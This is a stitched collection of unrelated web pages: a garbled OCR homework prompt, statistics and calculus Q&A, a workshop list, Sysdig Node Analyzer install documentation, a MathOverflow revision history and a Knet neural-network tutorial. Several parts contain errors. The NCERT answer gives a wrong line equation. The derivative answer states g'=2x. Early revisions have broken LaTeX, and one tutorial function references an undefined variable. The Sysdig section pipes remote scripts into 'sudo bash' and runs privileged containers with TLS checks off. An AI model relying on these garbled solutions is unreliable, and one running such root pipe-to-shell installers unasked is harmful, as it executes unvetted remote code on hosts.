find confiderce interval for me AM given the relevant sarple results Give the best point estimate for K tne mavrgin Use the t-distribution t0 = from 3 random sample from population that is approximately normally of error;and the confidence interva Assume the results come distributed: using the sampl...
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# Gigantic kurtosis?
I am doing some descriptive statistics of daily returns on stock indexes. I.e. if $P_1$ and $P_2$ are the levels of the index on day 1 and day 2, respectively, then $log_e (\frac{P_2}{P_1})$ is the return I'm using (completely standard in literature).
So the kurtosis is huge in some of these. I'm looking at about 15 years of daily data (so around $260 * 15$ time series observations)
means sds mins maxs skews kurts
ARGENTINA -0.00031 0.00965 -0.33647 0.13976 -15.17454 499.20532
AUSTRIA 0.00003 0.00640 -0.03845 0.04621 0.19614 2.36104
CZECH.REPUBLIC 0.00008 0.00800 -0.08289 0.05236 -0.16920 5.73205
FINLAND 0.00005 0.00639 -0.03845 0.04622 0.19038 2.37008
HUNGARY -0.00019 0.00880 -0.06301 0.05208 -0.10580 4.20463
IRELAND 0.00003 0.00641 -0.03842 0.04621 0.18937 2.35043
ROMANIA -0.00041 0.00789 -0.14877 0.09353 -1.73314 44.87401
SWEDEN 0.00004 0.00766 -0.03552 0.05537 0.22299 3.52373
UNITED.KINGDOM 0.00001 0.00587 -0.03918 0.04473 -0.03052 4.23236
-0.00007 0.00745 -0.09124 0.06405 -1.82381 63.20596
AUSTRALIA 0.00009 0.00861 -0.08831 0.06702 -0.74937 11.80784
CHINA -0.00002 0.00072 -0.40623 0.02031 6.26896 175.49667
HONG.KONG 0.00000 0.00031 -0.00237 0.00627 2.73415 56.18331
INDIA -0.00011 0.00336 -0.03613 0.03063 -0.22301 10.12893
INDONESIA -0.00031 0.01672 -0.24295 0.19268 -2.09577 54.57710
JAPAN 0.00008 0.00709 -0.03563 0.06591 0.57126 5.16182
MALAYSIA -0.00003 0.00861 -0.35694 0.13379 -16.48773 809.07665
My question is: Is there any problem?
I want to do extensive time series analysis over this data - OLS and Quantile regression analysis, and also Granger Causality.
Both my response (dependent) and predictor (regressor) will have this property of gigantic kurtosis. So i'll have these return processes on either side of the regression equation. If the non-normality spills over into the disturbances that will only make my standard errors high variance right?
(Perhaps I need a skewness robust bootstrap?)
-
1) You may want to move this to the quant.stackexchange.com site. 2) What do you mean by problem? There is a whole literature on the impact of outliers on moments. It can often be more of an art than a science. – John Aug 18 '12 at 5:20
"Is there any problem?" is too vague. What do you want to do with these data? Your huge kurtoses are associated with huge left skew. Since log(p2/p1) = log p2 - log p1, a huge left skew indicates that there were a few times when this was very low, that is, p1 much higher than p2, compared to the usual case. Could be a company going bankrupt or something like that. – Peter Flom Aug 18 '12 at 5:35
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Now showing items 1-7 of 7
• #### 2032 - Calculus of Variations (hybrid meeting)
[OWR-2020-22] (2020) - (02 Aug - 08 Aug 2020)
Calculus of Variations touches several interrelated areas. In this workshop we covered several topics, such as minimal submanifolds, mean curvature and related flows, free boundary problems, variational models of ...
• #### 2049 - Classical and Quantum Mechanical Models of Many-Particle Systems (online meeting)
[OWR-2020-38] (2020) - (29 Nov - 05 Dec 2020)
The collective behaviour of many-particle systems is a common denominator in the challenges of a highly diverse range of applications: from classical problems in Physics (gas dynamics e.g. Boltzmann's equation, plas\-ma ...
• #### 2050 - Computational Inverse Problems for Partial Differential Equations (hybrid meeting)
[OWR-2020-39] (2020) - (06 Dec - 12 Dec 2020)
Inverse problems in partial differential equations (PDEs) consist in reconstructing some part of a PDE such as a coefficient, a boundary condition, an initial condition, the shape of a domain, or a singularity from ...
• #### 2021 - Mathematical Advances in Geophysical Fluid Dynamics (online meeting)
[OWR-2020-15] (2020) - (17 May - 23 May 2020)
This workshop on "Mathematical Advances in Geophysical Fluid Dynamics" was organized as an online seminar and addressed recent advances in analytical, modeling and computational studies of geophysical fluid models. Of ...
• #### 2051a - Mini-Workshop: Relativistic Fluids at the Intersection of Mathematics and Physics (online meeting)
[OWR-2020-42] (2020) - (13 Dec - 19 Dec 2020)
Relativistic Hydrodynamics is the description of fluid motion in regimes where relativistic effects are important. This is the case for fluids moving at high velocities or interacting with very strong gravitational fields, ...
• #### 2037b - Structure-Preserving Discretizations for Nonlinear Systems of
[OWR-2020-28] (2020) - (06 Sep - 12 Sep 2020)
Because of the pandemia, the workshop on Structure-Preserving Discretizations for Nonlinear Systems of Hyperbolic, Involution-Constrained Partial Differential Equations on Manifolds" could not be realized in the usual ...
• #### 2038 - Variational Methods for Evolution (hybrid meeting)
[OWR-2020-29] (2020) - (13 Sep - 19 Sep 2020)
Variational principles for evolutionary systems take advantage of the rich toolbox provided by the theory of the calculus of variations. Such principles are available for Hamiltonian systems in classical mechanics, gradient ...
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# Find Equation of the Line Passing Through the Point (2, 2) and Cutting off Intercepts on the Axes Whose Sum is 9. - Mathematics
Find equation of the line passing through the point (2, 2) and cutting off intercepts on the axes whose sum is 9.
#### Solution
The equation of a line in the intercept form is x/a + y/b = 1 ... (i)
Here, a and b are the intercepts on x and y axes respectively.
It is given thata + b = 9 ⇒ b = 9 – a … (ii)
From equations (i) and (ii), we obtain
If a = 6 and b = 9 – 6 = 3, then the equation of the line is
x/6 + y/3 = 1 => x +2y - 6 = 0
If a = 3 and b = 9 – 3 = 6, then the equation of the line is
x/3 + y/3 = 1 => 2x + y - 6 = 0
Is there an error in this question or solution?
#### APPEARS IN
NCERT Class 11 Mathematics Textbook
Chapter 10 Straight Lines
Q 13 | Page 220
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# How do you differentiate f(x)= 2x*sinx*cosx?
Aug 6, 2015
$f ' \left(x\right) = 2 \sin x \cos x + 2 x {\cos}^{2} x - 2 x {\sin}^{2} x$
#### Explanation:
Use the product rule:
$f = g h k$ => $f ' = g ' h k + g h ' k + g h k '$
With:
$g = 2 x$ => $g ' = 2 x$
$h = \sin x$ => $h ' = \cos x$
$k = \cos x$ => $k ' = - \sin x$
We then have:
$f ' \left(x\right) = 2 \sin x \cos x + 2 x {\cos}^{2} x - 2 x {\sin}^{2} x$
Aug 6, 2015
$f ' \left(x\right) = 2 \sin \left(x\right) \cos \left(x\right) + 2 x \left({\cos}^{2} \left(x\right) - {\sin}^{2} \left(x\right)\right)$
#### Explanation:
$f ' \left(x\right) = \left(2 x\right) ' \cdot \left(\sin \left(x\right) \cdot \cos \left(x\right)\right) + 2 x \cdot \left(\sin \left(x\right) \cdot \cos \left(x\right)\right) '$
$\left(2 x\right) ' = 2$
$\left(\sin \left(x\right) \cdot \cos \left(x\right)\right) ' = \sin \left(x\right) ' \cdot \cos \left(x\right) + \sin \left(x\right) \cdot \cos \left(x\right) '$
$= \cos \left(x\right) \cdot \cos \left(x\right) + \sin \left(x\right) \cdot \left(- \sin \left(x\right)\right)$
$= {\cos}^{2} \left(x\right) - {\sin}^{2} \left(x\right)$
$f ' \left(x\right) = 2 \sin \left(x\right) \cos \left(x\right) + 2 x \left({\cos}^{2} \left(x\right) - {\sin}^{2} \left(x\right)\right)$
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# How do you determine the volume of your round above ground pool?
Measure the diameter, that is the distance from one side directly to the other side as you cross the center. Take that distance and divide it by two to get the radius. Then measure the height of the pool, i.e. how far it measures from top to bottom along the side. Apply the formula pie x radius squared x height. I.e. take the radius measurement and multiply it by itself (square it) and then multiply that number by 3.14 (pie) and then multiply that number by the height. Your final number will be the volume in whatever units you measured the height and radius, i.e. inches cubed or cubic inches if your radius and height were in inches. OR, if you don't want to do THAT, you will need two things. 1. \$5 an hour 2. A mathematician Here's a somewhat simpler formula which uses the dimensions in feet and gives the answer in gallons: diameter X diameter X depth X 5.9 = volume in gallons This and formulas for other shapes can be found here: http://www.kingtechnology.com/infostation/info512.htm
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# Node Analyzer: Multi-Feature Installation
## What Is the Node Analyzer?
The Node Analyzer (NA) provides a method for deploying the components for three different Sysdig Secure features:
• (Node) Image Analyzer: an existing tool that can now be installed and/or upgraded in a new way, alongside the other two components.
• Benchmarks (v2): Installs a new component (called a benchmark runner) which is required to use Benchmarks v2, including an updated interface and new improved features. The legacy Benchmark tool can still be accessed.
• Host Scanning:a new tool for scanning not just the images/containers on a host, but the host itself.
## Installation Options
All the Node Analyzer components, along with the Sysdig agent, are deployed per node or host. You can deploy them using various methods:
### Fresh Install: Agent + Node Analyzer
If you are installing Sysdig Secure for the first time and have not yet deployed any agents, you can use a single-line install to deploy both the Sysdig agent and the Node Analyzer (NA) tools. The script will make changes to each node or host within a cluster.
curl -s
https://download.sysdig.com/stable/install-agent-kubernetes | sudo bash -s
-- --access_key ACCESS_KEY --collector COLLECTOR_URL --collector_port 6443 --nodeanalyzer --api_endpoint API_ENDPOINT
See also the Get Started page in Sysdig Secure. Under "Connect Your Data Sources," the script is generated with your endpoints automatically inserted.
To find the values yourself:
• access_key: This is the agent access key. You can retrieve this from Settings > Agent Installation in the Sysdig Secure UI.
• collector_url: This value is region-dependent in SaaS and is auto-completed on the Get Started page in the UI. (It is a custom value in on-prem installations.)
• api_endpoint: This is the base URL ( region-dependent) for Sysdig Secure and is auto-completed on the Get Started page. E.g. secure.sysdig.com, us2.app.sysdig.com, eu1.app.sysdig.com.
When finished, you can Access the Node Analyzer Features.
### Upgrade/Install Node Analyzer Tools Only
Use this script in the following conditions:
• Agent is already installed, you just want the NA tools
• Node Image Analyzer already installed; you want to upgrade it to v2
• You want to add Benchmarks v2 and Host Scanning features to your existing Sysdig Secure environment, as well as upgrade or install the Image Analyzer.
Note that if you already have the Node Image Analyzer (v1) installed, this script will upgrade that component automatically. An agent MUST already be installed. The script will make changes to every node in the cluster.
curl -s https://download.sysdig.com/stable/install-node-analyzer | sudo bash -s -- --api_endpoint API_ENDPOINT
When finished, you can Access the Node Analyzer Features.
### Daemonset Install
To deploy the Node Analyzer using Kubernetes daemonsets, download the following configuration files, edit them as annotated within the files, and deploy them.
To deploy the Node Analyzer concurrently with the Sysdig agent, you would also download the sysdig-agent-clusterrole.yaml, sysdig-agent-daemonset-v2.yaml, and sysdig-agent-configmap.yaml and deploy them as described in Agent Install: Kubernetes.
You need to deploy these YAMLs after installing the Sysdig agent in the same nodes, and also in the same namespace (sysdig-agent by default).
When finished, you can Access the Node Analyzer Features.
### Install with Helm
Use the "Sysdig" Helm chart, which installs the Sysdig agent and the Node Analyzer, with the following commands:
helm repo add sysdig https://charts.sysdig.com
helm repo update
helm install sysdig-agent --set sysdig.accessKey=ACCESS_KEY --set sysdig.settings.collector=COLLECTOR_URL --set sysdig.settings.collector_port=6443 sysdig/sysdig --set nodeAnalyzer.collectorEndpoint=API_ENDPOINT
To find the values:
• access_key: This is the agent access key. You can retrieve this from Settings > Agent Installation in the Sysdig Secure UI.
• collector_url: This value is region-dependent in SaaS and is auto-completed on the Get Started page in the UI. (It is a custom value in on-prem installations.)
• api_endpoint: This is the base URL ( region-dependent) for Sysdig Secure and is auto-completed on the Get Started page. E.g. secure.sysdig.com, us2.app.sysdig.com, eu1.app.sysdig.com.
## Access the Node Analyzer Features
Log in to Sysdig Secure and check that the features are working as expected.
Confirm the Image Analyzer: is functioning
1. Select Scanning > Image Results.
2. Check for scanned container image results that originate with the Sysdig Node Image Analyzer.
Use Benchmarks (v2)
1. Select Compliance > Benchmarks |Tasks.
### Note
Use Host Scanning to check vulnerabilities in hosts or nodes, both for operation system packages (e.g. rpm, dpkg) and non-operating system packages (e.g. Java packages, Ruby gems).
1. Select Scanning > Hosts.
2. Review the Host vulnerabilities listed.
## Alternate Install Cases
The installation options above should be sufficient for the majority of users; the options below allow for customizations and special cases.
### Running Node Analyzer Behind a Proxy
Depending on your organization's network design, you may require the HTTP requests from Node Analyzer features to pass through a proxy in order to reach the Sysdig Secure backend. To do so, you must edit all three configmaps:
These are in the sysdig-agent namespace by default.
Configure the following variables:
• http_proxy/https_proxy Use with the relevant proxy URL, e.g. http://my_proxy_address:8080.
In most cases, it is enough to specify http_proxy. as it applies to HTTPS connections as well.
• no_proxy Use this parameter to exclude certain subnets from using the proxy, adding a comma-separated exclusion list, e.g. 127.0.0.1,localhost,192.168.0.0/16,172.16.0.0/12,10.0.0.0/8
If the proxy server requires authentication it is possible to specify credentials in the URL, e.g. http://username:password@my_proxy:8080.
### Running in a Non-Kubernetes Environment
This is handled per-component.
#### Benchmarks (Non-Kubernetes)
It is possible to deploy the benchmark runner as a single Docker container:
docker run -d -v /:/host:ro -v /tmp:/host/tmp --privileged --network host --pid host -e BACKEND_ENDPOINT=https://<sysdig_backend_endpoint> -e ACCESS_KEY=<Sysdig agent access key> -e BACKEND_VERIFY_TLS=false -e TAGS=<custom_tags> sysdig/compliance-benchmark-runner:latest
• Note: If you don’t want to pass the access key directly via the command line, consider using an alternative method of passing environment variables, such as docker-compose.
• The BACKEND_ENDPOINT is only required if for Sysdig on-prem or when using a Sysdig SaaS region other than US-EAST.
For example, for the EU SaaS endpoint would be: https://eu1.app.sysdig.com.
• BACKEND_VERIFY_TLS=false is only needed if you are using an on-prem backend with a self-signed certificate.
• TAGS: The list of tags for the host where the agent is installed. For example: "role:webserver, location:europe", "role:webserver" or "webserver".
#### Image Analyzer (Non-Kubernetes)
It is also possible to run the image analyzer as a single Docker container:
docker run -d -v /var/run:/var/run --privileged -e AM_COLLECTOR_ENDPOINT=https://<sysdig_backend_endpoint>/internal/scanning/scanning-analysis-collector -e ACCESS_KEY=<Sysdig agent access key> -e VERIFY_CERTIFICATE=false sysdig/node-image-analyzer:latest
• Note: If you don’t want to pass the access key directly via the command line, consider using an alternative method of passing environment variables, such as docker-compose.
• The AM_COLLECTOR_ENDPOINT is only required if for Sysdig on-prem or when using a Sysdig SaaS region other than US-EAST.
For example, for the EU SaaS endpoint would be: https://eu1.app.sysdig.com/internal/scanning/scanning-analysis-collector .
• VERIFY_CERTIFICATE=false is only needed if you are using an on-prem backend with a self-signed certificate.
#### Host Scanning (Non-Kubernetes)
To install the Host Scanning component in a non-Kubernetes environment, you can use:
docker run -d -v /:/host:ro --privileged \-e AM_COLLECTOR_ENDPOINT=https://<sysdig_backend_endpoint>/internal/scanning/scanning-analysis-collector \-e ACCESS_KEY=<Sysdig agent access key> \-e VERIFY_CERTIFICATE=false \-e SCHEDULE=@dailydefault \quay.io/sysdig/host-analyzer:latest
• Note: If you don’t want to pass the access key directly via the command line, consider using an alternative method of passing environment variables, such as docker-compose.
• The BACKEND_ENDPOINT is only required if for Sysdig on-prem or when using a Sysdig SaaS region other than US-EAST.
For example, for the EU SaaS endpoint would be: https://eu1.app.sysdig.com.
• BACKEND_VERIFY_TLS=false is only needed if you are using an on-prem backend with a self-signed certificate.
• TAGS: The list of tags for the host where the agent is installed. For example: "role:webserver, location:europe", "role:webserver" or "webserver".
### For Image Analyzer Component Only
These cases affect only the Image Analyzer component of the Node Analyzer installation.
#### Installing Image Analyzer Component Alone
It is still possible to install the image analyzer component without benchmarks or host scanning. This option normally would apply only to previous users of the former node image analyzer who want to upgrade just that component, for whatever reason.
You need to deploy these YAMLs after installing the Sysdig agent in the same nodes, and also in the same namespace (sysdig-agent by default).
#### Kubernetes Requiring Custom Socket Path
By default, the image analyzer will automatically detect the socket to mount from:
• Docker socket from /var/run/docker/docker.sock
• CRI-O socket from/var/run/crio/crio.sock
• CRI-containerd socket from/var/run/containerd/containerd.sock
Some setups require the analyzer to use custom socket paths.
If the socket is located outside /var/run, the corresponding volume must be mounted as well. You can configure it via the single line installer script or by manually editing the daemonset and configmap variables.
When using the installer, use the-cv option to mount an additional volume and add -ds -cs or -cd to specify a Docker, CRI, or CRI-containerd socket respectively.
See the script -help command for additional information.
Examples:
For K3S, which uses containerd, add:
-cd unix:///run/k3s/containerd/containerd.sock -cv /run/k3s/containerd
For Pivotal, which uses a custom path for the Docker socket, use:
-ds unix:///var/vcap/data/sys/run/docker/docker.sock -cv /var/vcap/data/sys/run/docker
#### Daemonset Resource Limit Considerations
During its regular operation, the Image Analyzer uses much less memory than the limit specified in the daemonset configuration. However, in some cases, processing an image may require more memory, depending, for example, on image size, content or package types.
This issue can be detected by looking for abnormal spikes in the memory usage of the Image Analyzer pods which are also showing analysis errors. In such cases we recommend trying to increase the analyzer memory usage up to three times the size of the unprocessed images, if the cluster available memory allows.
## Component Configurations
### Image Analyzer Configmap Options
For special cases, the image analyzer can be configured by editing the sysdig-image-analyzer configmap in the sysdig-agent namespace with the following options:
Option
Description
docker_socket_path
The Docker socket path, defaulting to unix:///var/run/docker/docker.sock
If a custom path is specified, ensure it is correctly mounted from the host inside the container.
cri_socket_path
The socket path to a CRI compatible runtime, such as CRI-O, defaulting to unix:///var/run/crio/crio.sock.
If a custom path is specified, ensure it is correctly mounted from the host inside the container.
containerd_socket_path
The socket path to a CRI-Containerd daemon, defaulting to unix:///var/run/containerd/containerd.sock
If a custom path is specified, ensure it is correctly mounted from the host inside the container.
collector_endpoint
The endpoint to the Scanning Analysis collector, specified in the following format: https://<API_ENDPOINT>/internal/scanning/scanning-analysis-collector
ssl_verify_certificate
Can be set to "false" to allow insecure connections to the Sysdig backend, such as for on-premise installs that use self-signed certificates. By default, certificates are always verified.
debug
Can be set to "true" to show debug logging, useful for troubleshooting.
http_proxy
Proxy configuration variables.
https_proxy
no_proxy
### Host Scanning Configuration Options
The analyzer component of the Host Scanning feature can be configured by editing the sysdig-host-analyzer configmap in the sysdig-agent namespace with the following options:
Option
Description
schedule
The scanning schedule specification for the host analyzer expressed as a crontab string such as “5 4 * * *” (more examples). The default value of @dailydefault instructs the analyzer to automatically pick a schedule that will start shortly after it is deployed and will perform a scan every 24 hours.
dirs_to_scan
The list of directories to inspect during the scan, expressed as a comma separated list such as /etc,/var/lib/dpkg,/usr/local,/usr/lib/sysimage/rpm,/var/lib/rpm,/lib/apk/db
collector_endpoint
The endpoint to the Scanning Analysis collector, specified in the following format: https://<API_ENDPOINT>/internal/scanning/scanning-analysis-collector
max_send_attempts
The number of times the analysis collector is allowed to retry sending results if backend communication fails
ssl_verify_certificate
Can be set to "false" to allow insecure connections to the Sysdig backend, such as for on-premise installs that use self-signed certificates. By default, certificates are always verified.
debug
Can be set to "true" to show debug logging, useful for troubleshooting.
http_proxy
Proxy configuration variables.
https_proxy
no_proxy
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MathOverflow will be down for maintenance for approximately 3 hours, starting Monday evening (06/24/2013) at approximately 9:00 PM Eastern time (UTC-4).
Happy Birthday to Mathoverflow. Wish it flourish and thank many warmhearted people here for their helps! :-)
Here is one solution. Let
$$G_\sigma(t,x)=\frac{\exp(-\frac{x^2}{2\sigma t})}{\sqrt{2\pi \sigma t}}$$
Clearly,
$$\int_0^t \frac{G_\sigma(t-s,x)}{\sqrt{s}} d s = \int_0^t \frac{e^{-\frac{x^2}{2\nu s}}}{\sqrt{2\pi s (t-s)}} d s\;.$$
We assume that $x\ne 0$. Then by change of variable
$$s\rightarrow u=\frac{x^2}{2\sigma s}-\frac{x^2}{2\sigma t}, \quad s= \frac{t x^2}{2\sigma t u+x^2},$$
the integral becomes
$$\frac{|x|e^{-\frac{x^2}{2\sigma t}}}{2\sigma \sqrt{\pi t}}\int_{0}^\infty \frac{e^{-u}}{\sqrt{u}\left(u+\frac{x^2}{2\sigma t}\right)} d u = \sqrt{\frac{\pi}{2\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{2\sigma t}} \right)\right)\:,$$
where we have applied the integral (7.4.9) in P. 302
$$\int_0^\infty\frac{e^{-at}}{\sqrt{t}(t+z)} d t = \frac{\pi}{\sqrt{z}}e^{a frac{2\pi}{\sqrt{z}}e^{a z} \left(1-\Phi(\sqrt{az})\right),\quad Re(a)>0, z\ne 0, |\arg z|<\pi\:$$
with $a=1$ and $z=\frac{x^2}{2\sigma t}$. , where we have used the fact that $\text{Erfc}(x)=2(1-\Phi(x))$. This then proves
$$\boxed{ \int_0^t \frac{G_\sigma(t-s,x)}{\sqrt{s}} d s = \sqrt{\frac{\pi}{2\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{2\sigma sqrt{\frac{2\pi}{\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{2\sigma t}} \right)\right)}\:.$$
Finally, the case that $x=0$ can be easily verified. This then finishes the proof.
3 added 2 characters in body
Happy Birthday to Mathoverflow. Wish it flourish and thank many warmhearted people here for their helps! :-)
Here is one solution. Let
$$G_\sigma(t,x)=\frac{\exp(-\frac{x^2}{2\sigma t})}{\sqrt{2\pi \sigma t}}$$
Clearly,
$$\int_0^t \frac{G_\sigma(t-s,x)}{\sqrt{s}} d s = \int_0^t \frac{e^{-\frac{x^2}{2\nu s}}}{\sqrt{2\pi s (t-s)}} d s\;.$$ Then by change of variable
$$s\rightarrow u=\frac{x^2}{2\sigma s}-\frac{x^2}{2\sigma t}, \quad s= \frac{t x^2}{2\sigma t u+x^2},$$
the integral becomes
$$\frac{|x|e^{-\frac{x^2}{2\sigma t}}}{2\sigma \sqrt{\pi t}}\int_{0}^\infty \frac{e^{-u}}{\sqrt{u}\left(u+\frac{x^2}{2\sigma t}\right)} d u = \sqrt{\frac{2\pi}{\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{\sigma sqrt{\frac{\pi}{2\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{2\sigma t}} \right)\right)\:,$$
where we have applied the integral (7.4.9) in P. 302
$$\int_0^\infty\frac{e^{-at}}{\sqrt{t}(t+z)} d t = \frac{\pi}{\sqrt{z}}e^{a z} \left(1-\Phi(\sqrt{az})\right),\quad Re(a)>0, z\ne 0, |\arg z|<\pi\:$$
with $a=1$ and $z=\frac{x^2}{2\sigma t}$. This then proves
$$\boxed{ \int_0^t \frac{G_\sigma(t-s,x)}{\sqrt{s}} d s = \sqrt{\frac{2\pi}{\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{\sigma sqrt{\frac{\pi}{2\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{2\sigma t}} \right)\right)}\:.$$
2 added 21 characters in body
Happy Birthday to Mathoverflow. Wish it flourish and thank many warmhearted people here for their helps! :-)
Here is one solution. Let
$$G_\sigma(t,x)=\frac{\exp(-\frac{x^2}{2\sigma t})}{\sqrt{2\pi \sigma t}}$$
Clearly,
$$\int_0^t \frac{G_\sigma(t-s,x)}{\sqrt{s}} d s = \int_0^t \frac{e^{-\frac{x^2}{2\nu s}}}{\sqrt{2\pi s (t-s)}} d s\;.$$ Then by change of variable
$$s\rightarrow u=\frac{x^2}{2\sigma s}-\frac{x^2}{2\sigma t}, \quad s= \frac{t x^2}{2\sigma t u+x^2},$$
the integral becomes
$$\frac{|x|e^{-\frac{x^2}{2\sigma t}}}{2\sigma \sqrt{\pi t}}\int_{0}^\infty \frac{e^{-u}}{\sqrt{u}\left(u+\frac{x^2}{2\sigma t}\right)} d u = \sqrt{\frac{2\pi}{\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{\sigma t}} \right)\right)\:,$$
where we have applied the integral (7.4.9) in P. 302
$$\int_0^\infty\frac{e^{-at}}{\sqrt{t}(t+z)} d t = \frac{\pi}{\sqrt{z}}e^{a z} \left(1-\Phi(\sqrt{az})\right),\quad Re(a)>0, z\ne 0, |\arg z|<\pi\:$$
with $a=1$ and $z=\frac{x^2}{2\sigma t}$. This then proves
$$\boxed{ \int_0^t \frac{G_\sigma(t-s,x)}{\sqrt{s}} d s = \sqrt{\frac{2\pi}{\sigma}}\left(1-\Phi\left(\frac{|x|}{\sqrt{\sigma t}} \right)\right)}\:.$$
1
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Multilayer Perceptrons¶
In this section we create multilayer perceptrons by stacking multiple linear layers with non-linear activation functions in between.
Stacking linear classifiers is useless¶
We could try stacking multiple linear classifiers together. Here is a two layer model:
function multilinear(w, x, ygold)
y1 = w[1] * x .+ w[2]
y2 = w[3] * y1 .+ w[4]
return softloss(ygold, y2)
end
Note that instead of using y1 as our prediction, we used it as input to another linear classifier. Intermediate arrays like y1 are known as hidden layers because their contents are not directly visible outside the model.
If you experiment with this model (I suggest using a smaller learning rate, e.g. 0.01), you will see that it performs similarly to the original softmax model. The reason is simple to see if we write the function computed in mathematical notation and do some algebra:
$\begin{split}\hat{p} &=& \mbox{soft}(W_2 (W_1 x + b_1) + b_2) \\ &=& \mbox{soft}((W_2 W_1)\, x + W_2 b_1 + b_2) \\ &=& \mbox{soft}(W x + b)\end{split}$
where $$W=W_2 W_1$$ and $$b=W_2 b_1 + b_2$$. In other words, we still have a linear classifier! No matter how many linear functions you put on top of each other, what you get at the end is still a linear function. So this model has exactly the same representation power as the softmax model. Unless, we add a simple instruction...
Introducing nonlinearities¶
Here is a slightly modified version of the two layer model:
function mlp(w, x, ygold)
y1 = relu(w[1] * x .+ w[2])
y2 = w[3] * y1 .+ w[4]
return softloss(ygold, y2)
end
MLP in mlp stands for multilayer perceptron which is one name for this type of model. The only difference with the previous example is the relu() function we introduced in the first line. This is known as the rectified linear unit (or rectifier), and is a simple function defined by relu(x)=max(x,0) applied elementwise to the input array. So mathematically what we are computing is:
$\begin{split}\hat{p} &=& \mbox{soft}(W_2\, \mbox{relu}(W_1 x + b_1) + b_2) \\\end{split}$
This cannot be reduced to a linear function, which may not seem like a big difference but what a difference it makes to the model! Here are the learning curves for mlp using a hidden layer of size 64:
Here are the learning curves for the linear model softmax plotted at the same scale for comparison:
We can observe a few things: using MLP instead of a linear model brings the training error from 6.7% to 0 and the test error from 7.5% to 2.0%. There is still overfitting: the test error is not as good as the training error, but the model has no problem classifying the training data (all 60,000 examples) perfectly!
Types of nonlinearities (activation functions)¶
The functions we throw between linear layers to break the linearity are called nonlinearities or activation functions. Here are some activation functions that have been used as nonlinearities:
The step functions were the earliest activation functions used in the perceptrons of 1950s. Unfortunately they do not give a useful derivative that can be used for training a multilayer model. Sigmoid and tanh (sigm and tanh in Knet) became popular in 1980s as smooth approximations to the step functions and allowed the application of the backpropagation algorithm. Modern activation functions like relu and maxout are piecewise linear. They are computationally inexpensive (no exponentials), and perform well in practice. We are going to use relu in most of our models. Here is the backward passes for sigmoid, tanh, and relu:
function forward backward
sigmoid $$y = \frac{1}{1+e^{-x}}$$ $$\nabla_x J = y\,(1-y) \nabla_y J$$
tanh $$y = \frac{e^x-e^{-x}}{e^x+e^{-x}}$$ $$\nabla_x J = (1+y)(1-y) \nabla_y J$$
relu $$y = \max(0,x)$$ $$\nabla_x J = [ y \geq 0 ] \nabla_y J$$
See (Karpathy, 2016, Ch 1) for more on activation functions and MLP architecture.
Representational power¶
You might be wondering whether relu had any special properties or would any of the other nonlinearities be sufficient. Another question is whether there are functions multilayer perceptrons cannot represent and if so whether adding more layers or different types of functions would increase their representational power. The short answer is that a two layer model can approximate any function if the hidden layer is large enough, and can do so with any of the nonlinearities introduced in the last section. Multilayer perceptrons are universal function approximators!
We said that a two-layer MLP is a universal function approximator given enough hidden units. This brings up the questions of efficiency: how many hidden units / parameters does one need to approximate a given function and whether the number of units depends on the number of hidden layers. The efficiency is important both computationally and statistically: models with fewer parameters can be evaluated faster, and can learn from fewer examples (ref?). It turns out there are functions whose representations are exponentially more expensive in a shallow network compared to a deeper network (see (Nielsen, 2016, Ch 5) for a discussion). Recent winners of image recognition contests use networks with dozens of convolutional layers. The advantage of deeper MLPs is empirically less clear, but you should experiment with the number of units and layers using a development set when starting a new problem.
Please see (Nielsen, 2016, Ch 4) for an intuitive explanation of the universality result and (Bengio et al. 2016, Ch 6.4) for a more in depth discussion and references.
Matrix vs Neuron Pictures¶
So far we have introduced multilayer perceptrons (aka artificial neural networks) using matrix operations. You may be wondering why people call them neural networks and be confused by terms like layers and units. In this section we will give the correspondence between the matrix view and the neuron view. Here is a schematic of a biological neuron (figures from (Karpathy, 2016, Ch 1)):
A biological neuron is a complex organism supporting thousands of chemical reactions simultaneously under the regulation of thousands of genes, communicating with other neurons through electrical and chemical pathways involving dozens of different types of neurotransmitter molecules. We assume (do not know for sure) that the main mechanism of communication between neurons is electrical spike trains that travel from the axon of the source neuron, through connections called synapses, into dendrites of target neurons. We simplify this picture further representing the strength of the spikes and the connections with simple numbers to arrive at this cartoon model:
This model is called an artificial neuron, a perceptron, or simply a unit in neural network literature. We know it as the softmax classifier.
When a number of these units are connected in layers, we get a multilayer perceptron. When counting layers, we ignore the input layer. So the softmax classifier can be considered a one layer neural network. Here is a neural network picture and the corresponding matrix picture for a two layer model:
Here is a neural network picture and the corresponding matrix picture for a three layer model:
We can use the following elementwise notation for the neural network picture (e.g. similar to the one used in UFLDL):
$x_i^{(l)} = f(b_i^{(l)} + \sum_j w_{ij}^{(l)} x_j^{(l-1)})$
Here $$x_i^{(l)}$$ refers to the activation of the $$i$$ th unit in $$l$$ th layer. We are counting the input as the 0’th layer. $$f$$ is the activation function, $$b_i^{(l)}$$ is the bias term. $$w_{ij}^{(l)}$$ is the weight connecting unit $$j$$ from layer $$l-1$$ to unit $$i$$ from layer $$l$$. The corresponding matrix notation is:
$x^{(l)} = f(W^{(l)} x^{(l-1)} + b^{(l)})$
Programming Example¶
In this section we introduce several Knet features that make it easier to define complex models. As our working example, we will go through several attempts to define a 3-layer MLP. Here is our first attempt:
function mlp3a(w, x0)
x1 = relu(w[1] * x0 .+ w[2])
x2 = relu(w[3] * x1 .+ w[4])
return w[5] * x2 .+ w[6]
end
We can identify bad software engineering practices in this definition in that it contains a lot of repetition.
The key to controlling complexity in computer languages is abstraction. Abstraction is the ability to name compound structures built from primitive parts, so they too can be used as primitives.
Defining new operators
We could make the definition of mlp3 more compact by defining separate functions for its layers:
function mlp3b(w, x0)
x1 = relu_layer1(w, x0)
x2 = relu_layer2(w, x1)
return pred_layer3(w, x2)
end
function relu_layer1(w, x)
return relu(w[1] * x .+ w[2])
end
function relu_layer2(w, x)
return relu(w[3] * x .+ w[4])
end
function pred_layer3(x)
return w[5] * x .+ w[6]
end
This may make the definition of mlp3b a bit more readable. But it does not reduce the overall length of the program. The helper functions like relu_layer1 and relu_layer2 are too similar except for the weights they use and can be reduced to a single function.
Increasing the number of layers
